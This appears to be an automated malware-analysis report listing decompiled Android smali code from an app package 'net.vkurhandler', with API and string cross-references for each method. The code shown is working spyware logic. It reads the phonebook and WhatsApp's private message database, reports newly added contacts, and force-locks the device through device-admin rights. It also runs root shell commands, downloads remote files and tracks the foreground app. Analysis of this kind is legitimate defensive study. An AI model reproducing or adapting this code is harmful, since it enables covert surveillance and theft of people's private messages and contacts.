                    13invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                    14move-result-object v0
                    16const-string v1, "display_name"
                    18invoke-interface {v0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                    19move-result v1
                    21const-string v2, "data1"
                    23invoke-interface {v0, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                    24move-result v2
                    25new-instance v3, Lorg/json/JSONArray;
                    27invoke-direct {v3}, Lorg/json/JSONArray;-><init>()V
                    28goto_22:
                    29invoke-interface {v0}, Landroid/database/Cursor;->moveToNext()Z
                    30move-result v4
                    31if-nez v4, :cond_34
                    33invoke-interface {v0}, Landroid/database/Cursor;->close()V
                    35invoke-virtual {v3}, Lorg/json/JSONArray;->toString()Ljava/lang/String;
                    36move-result-object v0
                    38invoke-static {v0}, Lnet/vkurhandler/gn;->h(Ljava/lang/String;)Ljava/lang/String;
                    39move-result-object v0
                    40return-object v0
                    41cond_34:
                    42invoke-interface {v0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    43move-result-object v4
                    45invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    46move-result-object v5
                    47new-instance v6, Lorg/json/JSONObject;
                    49invoke-direct {v6}, Lorg/json/JSONObject;-><init>()V
                    51const-string v7, "phone_number"
                    53invoke-static {v5}, Lnet/vkurhandler/gn;->e(Ljava/lang/String;)Ljava/lang/String;
                    54move-result-object v5
                    56invoke-virtual {v6, v7, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    58const-string v5, "name"
                    60invoke-virtual {v6, v5, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    62invoke-virtual {v3, v6}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                    63goto/16 :goto_22
                    Cross References
                    APIs
                    • android.database.sqlite.SQLiteDatabase.openDatabase
                    • net.vkurhandler.ds.m:[Ljava/lang/String
                    • android.database.sqlite.SQLiteDatabase.query
                    • android.database.Cursor.moveToFirst
                    • android.database.Cursor.getString
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    Strings
                    • Unknown Chat
                    • /data/data/com.whatsapp/databases/msgstore.db
                    • chat_list
                    • key_remote_jid = ?
                    • RTWhatsApp
                    Position Instruction Meta Information
                    0const/4 v9, 0x0
                    2const-string v8, "Unknown Chat"
                    3try_start_3:
                    4const-string v0, "/data/data/com.whatsapp/databases/msgstore.db"
                    5const/4 v1, 0x0
                    6const/16 v2, 0x11
                    8invoke-static {v0, v1, v2}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
                    9try_end_b: move-result-object v0
                    10try_start_c:
                    11const-string v1, "chat_list"
                    13sget-object v2, Lnet/vkurhandler/ds;->m:[Ljava/lang/String;
                    15const-string v3, "key_remote_jid = ?"
                    16const/4 v4, 0x1
                    17new-array v4, v4, [Ljava/lang/String;
                    18const/4 v5, 0x0
                    19aput-object p1, v4, v5
                    20const/4 v5, 0x0
                    21const/4 v6, 0x0
                    22const/4 v7, 0x0
                    24invoke-virtual/range {v0 .. v7}, Landroid/database/sqlite/SQLiteDatabase;->query(Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                    25try_end_1e: move-result-object v9
                    26try_start_1f:
                    27invoke-interface {v9}, Landroid/database/Cursor;->moveToFirst()Z
                    28move-result v1
                    29if-eqz v1, :cond_93
                    30const/4 v1, 0x1
                    32invoke-interface {v9, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    33try_end_29: move-result-object v1
                    34goto_2a: if-eqz v9, :cond_2f
                    35try_start_2c:
                    36invoke-interface {v9}, Landroid/database/Cursor;->close()V
                    37cond_2f: if-eqz v0, :cond_3a
                    39invoke-virtual {v0}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    40move-result v2
                    41if-eqz v2, :cond_3a
                    43invoke-virtual {v0}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    44cond_3a: move-object v0, v1
                    45goto_3b: return-object v0
                    46catch_3c: move-exception v0
                    47move-object v1, v9
                    48try_start_3e:
                    49const-string v2, "RTWhatsApp"
                    51invoke-static {v2, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    52try_end_43: if-eqz v9, :cond_48
                    53try_start_45:
                    54invoke-interface {v9}, Landroid/database/Cursor;->close()V
                    55cond_48: if-eqz v1, :cond_53
                    57invoke-virtual {v1}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    58move-result v0
                    59if-eqz v0, :cond_53
                    61invoke-virtual {v1}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    62cond_53: move-object v0, v8
                    63goto/16 :goto_3b
                    64catch_55: move-exception v0
                    66const-string v1, "RTWhatsApp"
                    68invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    69goto/16 :goto_53
                    70catchall_5c: move-exception v0
                    71move-object v1, v9
                    72goto_5e: if-eqz v1, :cond_63
                    73try_start_60:
                    74invoke-interface {v1}, Landroid/database/Cursor;->close()V
                    75cond_63: if-eqz v9, :cond_6e
                    77invoke-virtual {v9}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    78move-result v1
                    79if-eqz v1, :cond_6e
                    81invoke-virtual {v9}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    82goto_6e: throw v0
                    83catch_6f: move-exception v1
                    85const-string v2, "RTWhatsApp"
                    87invoke-static {v2, v1}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    88goto/16 :goto_6e
                    89catch_76: move-exception v0
                    91const-string v2, "RTWhatsApp"
                    93invoke-static {v2, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    94goto/16 :goto_3a
                    95catchall_7d: move-exception v1
                    96move-object v10, v1
                    97move-object v1, v9
                    98move-object v9, v0
                    99move-object v0, v10
                    100goto/16 :goto_5e
                    101catchall_83: move-exception v1
                    102move-object v10, v1
                    103move-object v1, v9
                    104move-object v9, v0
                    105move-object v0, v10
                    106goto/16 :goto_5e
                    107catchall_89: move-exception v0
                    108move-object v10, v1
                    109move-object v1, v9
                    110move-object v9, v10
                    111goto/16 :goto_5e
                    112catch_8e: move-exception v1
                    113move-object v10, v1
                    114move-object v1, v0
                    115move-object v0, v10
                    116goto/16 :goto_3e
                    117cond_93: move-object v1, v8
                    118goto/16 :goto_2a
                    APIs
                    • android.database.ContentObserver.onChange
                    • net.vkurhandler.al.c:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.al.b:Landroid/content/Context
                    • net.vkurhandler.al.a
                    • net.vkurhandler.al.d:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getInt
                    • net.vkurhandler.al.b:Landroid/content/Context
                    • net.vkurhandler.al.b
                    • net.vkurhandler.al.b:Landroid/content/Context
                    • net.vkurhandler.al.a
                    • net.vkurhandler.al.d:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putInt
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.al.b:Landroid/content/Context
                    Strings
                    • intercept_added_contact
                    • last_saved_contact_id
                    • PhonebookContentObserver
                    • added new contact
                    • type
                    • sub_type
                    • date
                    • phone_number
                    • name
                    Position Instruction Meta Information
                    0const/4 v5, 0x1
                    1const/4 v4, 0x0
                    3invoke-super {p0, p1}, Landroid/database/ContentObserver;->onChange(Z)V
                    4sget-boolean v0, Lnet/vkurhandler/al;->a:Z
                    5if-nez v0, :cond_a
                    6goto_9: return-void
                    7cond_a: sget-boolean v0, Lnet/vkurhandler/MyApp;->a:Z
                    8if-nez v0, :cond_9
                    10iget-object v0, p0, Lnet/vkurhandler/al;->c:Landroid/content/SharedPreferences;
                    12const-string v1, "intercept_added_contact"
                    14invoke-interface {v0, v1, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    15move-result v0
                    16if-eqz v0, :cond_9
                    18iget-object v0, p0, Lnet/vkurhandler/al;->b:Landroid/content/Context;
                    20invoke-static {v0}, Lnet/vkurhandler/al;->a(Landroid/content/Context;)Lnet/vkurhandler/am;
                    21move-result-object v0
                    23iget-object v1, p0, Lnet/vkurhandler/al;->d:Landroid/content/SharedPreferences;
                    25const-string v2, "last_saved_contact_id"
                    27invoke-interface {v1, v2, v4}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                    28move-result v1
                    29if-eqz v1, :cond_9
                    30if-eqz v0, :cond_9
                    31iget v2, v0, Lnet/vkurhandler/am;->c:I
                    32if-ge v1, v2, :cond_9
                    34iget-object v1, p0, Lnet/vkurhandler/al;->b:Landroid/content/Context;
                    36invoke-static {v1, v0}, Lnet/vkurhandler/al;->b(Landroid/content/Context;Lnet/vkurhandler/am;)Z
                    37move-result v1
                    38if-nez v1, :cond_9
                    40invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    41move-result v1
                    42if-eqz v1, :cond_4e
                    44const-string v1, "PhonebookContentObserver"
                    45const/4 v2, 0x2
                    46new-array v2, v2, [Ljava/lang/String;
                    48const-string v3, "added new contact "
                    49aput-object v3, v2, v4
                    51invoke-virtual {v0}, Lnet/vkurhandler/am;->toString()Ljava/lang/String;
                    52move-result-object v3
                    53aput-object v3, v2, v5
                    55invoke-static {v1, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;[Ljava/lang/String;)V
                    56cond_4e:
                    57iget-object v1, p0, Lnet/vkurhandler/al;->b:Landroid/content/Context;
                    59invoke-static {v1, v0}, Lnet/vkurhandler/al;->a(Landroid/content/Context;Lnet/vkurhandler/am;)V
                    61iget-object v1, p0, Lnet/vkurhandler/al;->d:Landroid/content/SharedPreferences;
                    63invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    64move-result-object v1
                    66const-string v2, "last_saved_contact_id"
                    67iget v3, v0, Lnet/vkurhandler/am;->c:I
                    69invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    70move-result-object v1
                    72invoke-interface {v1}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    74invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    75move-result-object v1
                    77const-string v2, "type"
                    79invoke-virtual {v1, v2, v5}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    81const-string v2, "sub_type"
                    82const/16 v3, 0xd
                    84invoke-virtual {v1, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    86const-string v2, "date"
                    88invoke-static {}, Lnet/vkurhandler/gn;->e()Ljava/lang/String;
                    89move-result-object v3
                    91invoke-virtual {v1, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    93const-string v2, "phone_number"
                    95iget-object v3, v0, Lnet/vkurhandler/am;->b:Ljava/lang/String;
                    97invoke-virtual {v1, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    99const-string v2, "name"
                    101iget-object v0, v0, Lnet/vkurhandler/am;->a:Ljava/lang/String;
                    103invoke-virtual {v1, v2, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    105iget-object v0, p0, Lnet/vkurhandler/al;->b:Landroid/content/Context;
                    107invoke-static {v0, v1}, Lnet/vkurhandler/bf;->a(Landroid/content/Context;Lnet/vkurhandler/be;)V
                    108goto/16 :goto_9
                    APIs
                    • android.content.Context.getSystemService
                    • android.app.admin.DevicePolicyManager.lockNow
                    • android.content.Intent.<init>
                    • android.content.Intent.addCategory
                    • android.content.Intent.setAction
                    • android.content.Intent.addFlags
                    • android.content.Intent.addFlags
                    • android.content.ComponentName.<init>
                    • android.content.Intent.setComponent
                    • android.content.Context.startActivity
                    • android.content.Intent.<init>
                    • android.content.Context.startService
                    Strings
                    • device_policy
                    • android.intent.category.DEFAULT
                    • android.settings.SETTINGS
                    • com.android.settings
                    • com.android.settings.Settings
                    • 2+2=5?
                    Position Instruction Meta Information
                    1const-string v0, "device_policy"
                    3invoke-virtual {p1, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                    4move-result-object v0
                    5check-cast v0, Landroid/app/admin/DevicePolicyManager;
                    7invoke-virtual {v0}, Landroid/app/admin/DevicePolicyManager;->lockNow()V
                    8new-instance v0, Landroid/content/Intent;
                    10invoke-direct {v0}, Landroid/content/Intent;-><init>()V
                    12const-string v1, "android.intent.category.DEFAULT"
                    14invoke-virtual {v0, v1}, Landroid/content/Intent;->addCategory(Ljava/lang/String;)Landroid/content/Intent;
                    16const-string v1, "android.settings.SETTINGS"
                    18invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
                    19const/high16 v1, 0x10000000
                    21invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                    22const v1, 0x8000
                    24invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                    25new-instance v1, Landroid/content/ComponentName;
                    27const-string v2, "com.android.settings"
                    29const-string v3, "com.android.settings.Settings"
                    31invoke-direct {v1, v2, v3}, Landroid/content/ComponentName;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                    33invoke-virtual {p2, v1}, Landroid/content/Intent;->setComponent(Landroid/content/ComponentName;)Landroid/content/Intent;
                    35invoke-virtual {p1, v0}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
                    36new-instance v0, Landroid/content/Intent;
                    37const-class v1, Lnet/vkurhandler/AdminUnlockViewService;
                    39invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                    41invoke-virtual {p1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                    43const-string v0, "2+2=5?"
                    44return-object v0
                    Cross References
                    APIs
                    • java.lang.Runtime.getRuntime
                    • java.lang.Runtime.exec
                    • java.lang.Process.getOutputStream
                    • java.io.DataOutputStream.<init>
                    • java.lang.Process.getInputStream
                    • java.io.DataOutputStream.writeBytes
                    • java.io.DataOutputStream.flush
                    • java.io.DataOutputStream.close
                    • java.lang.Process.waitFor
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.io.DataOutputStream.writeBytes
                    Strings
                    • su
                    • exit\n
                    • RootShell
                    • SU response:
                    Position Instruction Meta Information
                    0try_start_0:
                    1invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
                    2move-result-object v0
                    4const-string v1, "su"
                    6invoke-virtual {v0, v1}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
                    7move-result-object v1
                    8new-instance v2, Ljava/io/DataOutputStream;
                    10invoke-virtual {v1}, Ljava/lang/Process;->getOutputStream()Ljava/io/OutputStream;
                    11move-result-object v0
                    13invoke-direct {v2, v0}, Ljava/io/DataOutputStream;-><init>(Ljava/io/OutputStream;)V
                    15invoke-virtual {v1}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;
                    16move-result-object v3
                    17const/4 v0, 0x0
                    18goto_18: array-length v4, p0
                    19if-lt v0, v4, :cond_42
                    21const-string v0, "exit\n"
                    23invoke-virtual {v2, v0}, Ljava/io/DataOutputStream;->writeBytes(Ljava/lang/String;)V
                    25invoke-virtual {v2}, Ljava/io/DataOutputStream;->flush()V
                    27invoke-virtual {v2}, Ljava/io/DataOutputStream;->close()V
                    28try_end_26:
                    29invoke-virtual {v1}, Ljava/lang/Process;->waitFor()I
                    30try_end_29:
                    31invoke-static {v3}, Lnet/vkurhandler/ec;->a(Ljava/io/InputStream;)Ljava/lang/String;
                    32move-result-object v0
                    34const-string v1, "RootShell"
                    35new-instance v2, Ljava/lang/StringBuilder;
                    37const-string v3, "SU response:"
                    39invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    41invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    42move-result-object v0
                    44invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    45move-result-object v0
                    47invoke-static {v1, v0}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    48goto_41: return-void
                    49cond_42:
                    50invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    51move-result v4
                    52if-eqz v4, :cond_4f
                    54const-string v4, "RootShell"
                    55aget-object v5, p0, v0
                    57invoke-static {v4, v5}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    58cond_4f: aget-object v4, p0, v0
                    60invoke-virtual {v2, v4}, Ljava/io/DataOutputStream;->writeBytes(Ljava/lang/String;)V
                    61add-int/lit8 v0, v0, 0x1
                    62goto/16 :goto_18
                    63catch_57: move-exception v0
                    65const-string v1, "RootShell"
                    67invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    68try_end_5d: goto/16 :goto_29
                    69catch_5e: move-exception v0
                    71const-string v1, "RootShell"
                    73invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    74goto/16 :goto_41
                    Cross References
                    APIs
                    • java.net.URL.<init>
                    • java.net.URL.openConnection
                    • java.net.URLConnection.setConnectTimeout
                    • java.net.URLConnection.setReadTimeout
                    • java.net.URLConnection.connect
                    • java.net.URL.openStream
                    • java.io.BufferedInputStream.<init>
                    • java.io.FileOutputStream.<init>
                    • java.io.InputStream.read
                    • java.io.OutputStream.flush
                    • java.io.OutputStream.close
                    • java.io.InputStream.close
                    • java.io.File.<init>
                    • java.io.File.length
                    • java.io.OutputStream.write
                    Strings
                    • Utils
                    Position Instruction Meta Information
                    0const-wide/16 v0, 0x0
                    1try_start_2: new-instance v2, Ljava/net/URL;
                    3invoke-direct {v2, p0}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                    5invoke-virtual {v2}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                    6move-result-object v3
                    7sget v4, Lnet/vkurhandler/ea;->b:I
                    9invoke-virtual {v3, v4}, Ljava/net/URLConnection;->setConnectTimeout(I)V
                    10sget v4, Lnet/vkurhandler/ea;->c:I
                    12invoke-virtual {v3, v4}, Ljava/net/URLConnection;->setReadTimeout(I)V
                    14invoke-virtual {v3}, Ljava/net/URLConnection;->connect()V
                    15new-instance v4, Ljava/io/BufferedInputStream;
                    17invoke-virtual {v2}, Ljava/net/URL;->openStream()Ljava/io/InputStream;
                    18move-result-object v2
                    20invoke-direct {v4, v2}, Ljava/io/BufferedInputStream;-><init>(Ljava/io/InputStream;)V
                    21new-instance v5, Ljava/io/FileOutputStream;
                    23invoke-direct {v5, p1}, Ljava/io/FileOutputStream;-><init>(Ljava/lang/String;)V
                    24const/16 v2, 0x400
                    25new-array v6, v2, [B
                    26move-wide v2, v0
                    27goto_2b:
                    28invoke-virtual {v4, v6}, Ljava/io/InputStream;->read([B)I
                    29move-result v7
                    30const/4 v8, -0x1
                    31if-ne v7, v8, :cond_45
                    33invoke-virtual {v5}, Ljava/io/OutputStream;->flush()V
                    35invoke-virtual {v5}, Ljava/io/OutputStream;->close()V
                    37invoke-virtual {v4}, Ljava/io/InputStream;->close()V
                    38new-instance v2, Ljava/io/File;
                    40invoke-direct {v2, p1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    42invoke-virtual {v2}, Ljava/io/File;->length()J
                    43move-result-wide v0
                    44goto_44: return-wide v0
                    45cond_45: int-to-long v8, v7
                    46add-long/2addr v2, v8
                    47const/4 v8, 0x0
                    49invoke-virtual {v5, v6, v8, v7}, Ljava/io/OutputStream;->write([BII)V
                    50try_end_4b: goto/16 :goto_2b
                    51catch_4c: move-exception v2
                    53const-string v3, "Utils"
                    55invoke-static {v3, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    56goto/16 :goto_44
                    Cross References
                    APIs
                    • java.util.ArrayList.<init>
                    • java.util.ArrayList.<init>
                    • net.vkurhandler.ScreenMakerAppFilter.getPackageManager
                    • android.content.pm.PackageManager.getInstalledApplications
                    • java.util.List.iterator
                    • java.util.Iterator.hasNext
                    • java.util.List.size
                    • java.util.List.toArray
                    • java.util.List.size
                    • java.util.List.toArray
                    • java.util.Iterator.next
                    • net.vkurhandler.ScreenMakerAppFilter.getPackageManager
                    • android.content.pm.ApplicationInfo.packageName:Ljava/lang/String
                    • android.content.pm.PackageManager.getLaunchIntentForPackage
                    • android.content.pm.ApplicationInfo.packageName:Ljava/lang/String
                    • net.vkurhandler.ScreenMakerAppFilter.getPackageManager
                    • android.content.pm.PackageManager.getApplicationLabel
                    • java.util.List.add
                    • java.util.List.add
                    Position Instruction Meta Information
                    0new-instance v1, Ljava/util/ArrayList;
                    2invoke-direct {v1}, Ljava/util/ArrayList;-><init>()V
                    3new-instance v2, Ljava/util/ArrayList;
                    5invoke-direct {v2}, Ljava/util/ArrayList;-><init>()V
                    7invoke-virtual {p0}, Lnet/vkurhandler/ScreenMakerAppFilter;->getPackageManager()Landroid/content/pm/PackageManager;
                    8move-result-object v0
                    9const/4 v3, 0x0
                    11invoke-virtual {v0, v3}, Landroid/content/pm/PackageManager;->getInstalledApplications(I)Ljava/util/List;
                    12move-result-object v0
                    14invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                    15move-result-object v3
                    16cond_17:
                    17invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
                    18move-result v0
                    19if-nez v0, :cond_3a
                    21invoke-interface {v1}, Ljava/util/List;->size()I
                    22move-result v0
                    23new-array v0, v0, [Ljava/lang/String;
                    25invoke-interface {v1, v0}, Ljava/util/List;->toArray([Ljava/lang/Object;)[Ljava/lang/Object;
                    26move-result-object v0
                    27check-cast v0, [Ljava/lang/String;
                    28iput-object v0, p0, Lnet/vkurhandler/ScreenMakerAppFilter;->e:[Ljava/lang/String;
                    30invoke-interface {v2}, Ljava/util/List;->size()I
                    31move-result v0
                    32new-array v0, v0, [Ljava/lang/String;
                    34invoke-interface {v2, v0}, Ljava/util/List;->toArray([Ljava/lang/Object;)[Ljava/lang/Object;
                    35move-result-object v0
                    36check-cast v0, [Ljava/lang/String;
                    37iput-object v0, p0, Lnet/vkurhandler/ScreenMakerAppFilter;->f:[Ljava/lang/String;
                    38return-void
                    39cond_3a:
                    40invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                    41move-result-object v0
                    42check-cast v0, Landroid/content/pm/ApplicationInfo;
                    44invoke-virtual {p0}, Lnet/vkurhandler/ScreenMakerAppFilter;->getPackageManager()Landroid/content/pm/PackageManager;
                    45move-result-object v4
                    47iget-object v5, v0, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
                    49invoke-virtual {v4, v5}, Landroid/content/pm/PackageManager;->getLaunchIntentForPackage(Ljava/lang/String;)Landroid/content/Intent;
                    50move-result-object v4
                    51if-eqz v4, :cond_17
                    53iget-object v4, v0, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
                    55invoke-virtual {p0}, Lnet/vkurhandler/ScreenMakerAppFilter;->getPackageManager()Landroid/content/pm/PackageManager;
                    56move-result-object v5
                    58invoke-virtual {v5, v0}, Landroid/content/pm/PackageManager;->getApplicationLabel(Landroid/content/pm/ApplicationInfo;)Ljava/lang/CharSequence;
                    59move-result-object v0
                    60check-cast v0, Ljava/lang/String;
                    62invoke-interface {v1, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                    64invoke-interface {v2, v4}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                    65goto/16 :goto_17
                    APIs
                    Strings
                    • _id
                    • view_type
                    • buid
                    • imdata
                    • last_message
                    • timestamp
                    • message_index
                    • message_type
                    • message_state
                    • chat_type
                    • call_type
                    • name
                    • uid
                    • phone
                    • type
                    • iat
                    Position Instruction Meta Information
                    0const/4 v7, 0x4
                    1const/4 v6, 0x3
                    2const/4 v5, 0x2
                    3const/4 v4, 0x1
                    4const/4 v3, 0x0
                    5const/16 v0, 0x9
                    6new-array v0, v0, [Ljava/lang/String;
                    8const-string v1, "_id"
                    9aput-object v1, v0, v3
                    11const-string v1, "view_type"
                    12aput-object v1, v0, v4
                    14const-string v1, "buid"
                    15aput-object v1, v0, v5
                    17const-string v1, "imdata"
                    18aput-object v1, v0, v6
                    20const-string v1, "last_message"
                    21aput-object v1, v0, v7
                    22const/4 v1, 0x5
                    24const-string v2, "timestamp"
                    25aput-object v2, v0, v1
                    26const/4 v1, 0x6
                    28const-string v2, "message_index"
                    29aput-object v2, v0, v1
                    30const/4 v1, 0x7
                    32const-string v2, "message_type"
                    33aput-object v2, v0, v1
                    34const/16 v1, 0x8
                    36const-string v2, "message_state"
                    37aput-object v2, v0, v1
                    38sput-object v0, Lnet/vkurhandler/dh;->k:[Ljava/lang/String;
                    39const/4 v0, 0x7
                    40new-array v0, v0, [Ljava/lang/String;
                    42const-string v1, "_id"
                    43aput-object v1, v0, v3
                    45const-string v1, "chat_type"
                    46aput-object v1, v0, v4
                    48const-string v1, "call_type"
                    49aput-object v1, v0, v5
                    51const-string v1, "buid"
                    52aput-object v1, v0, v6
                    54const-string v1, "name"
                    55aput-object v1, v0, v7
                    56const/4 v1, 0x5
                    58const-string v2, "imdata"
                    59aput-object v2, v0, v1
                    60const/4 v1, 0x6
                    62const-string v2, "timestamp"
                    63aput-object v2, v0, v1
                    64sput-object v0, Lnet/vkurhandler/dh;->l:[Ljava/lang/String;
                    65const/4 v0, 0x5
                    66new-array v0, v0, [Ljava/lang/String;
                    68const-string v1, "_id"
                    69aput-object v1, v0, v3
                    71const-string v1, "uid"
                    72aput-object v1, v0, v4
                    74const-string v1, "phone"
                    75aput-object v1, v0, v5
                    77const-string v1, "name"
                    78aput-object v1, v0, v6
                    80const-string v1, "type"
                    81aput-object v1, v0, v7
                    82sput-object v0, Lnet/vkurhandler/dh;->m:[Ljava/lang/String;
                    83new-array v0, v7, [Ljava/lang/String;
                    85const-string v1, "_id"
                    86aput-object v1, v0, v3
                    88const-string v1, "uid"
                    89aput-object v1, v0, v4
                    91const-string v1, "name"
                    92aput-object v1, v0, v5
                    94const-string v1, "iat"
                    95aput-object v1, v0, v6
                    96sput-object v0, Lnet/vkurhandler/dh;->n:[Ljava/lang/String;
                    97return-void
                    Cross References
                    APIs
                    • java.lang.System.currentTimeMillis
                    • android.content.Context.getSystemService
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.text.TextUtils.isEmpty
                    • android.app.ActivityManager.getRunningTasks
                    • java.util.List.get
                    • android.app.ActivityManager$RunningTaskInfo.topActivity:Landroid/content/ComponentName
                    • android.content.ComponentName.getPackageName
                    Strings
                    • usagestats
                    • Utils
                    • current screen is:
                    • unknown
                    Position Instruction Meta Information
                    0const/4 v2, 0x0
                    1const/4 v1, 0x0
                    2try_start_2: sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                    3const/16 v3, 0x15
                    4if-lt v0, v3, :cond_48
                    6invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                    7move-result-wide v4
                    9const-string v0, "usagestats"
                    11invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                    12move-result-object v0
                    13check-cast v0, Landroid/app/usage/UsageStatsManager;
                    14try_end_14:
                    15sget-object v3, Lnet/vkurhandler/gn;->a:[J
                    16array-length v3, v3
                    17try_end_17: if-lt v2, v3, :cond_37
                    18move-object v0, v1
                    19goto_1a:
                    20const-string v1, "Utils"
                    21new-instance v2, Ljava/lang/StringBuilder;
                    23const-string v3, "current screen is:"
                    25invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    27invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    28move-result-object v2
                    30invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    31move-result-object v2
                    33invoke-static {v1, v2}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    35invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                    36move-result v1
                    37if-eqz v1, :cond_36
                    39const-string v0, "unknown"
                    40goto_36: return-object v0
                    41cond_37:
                    42sget-object v3, Lnet/vkurhandler/gn;->a:[J
                    43aget-wide v6, v3, v2
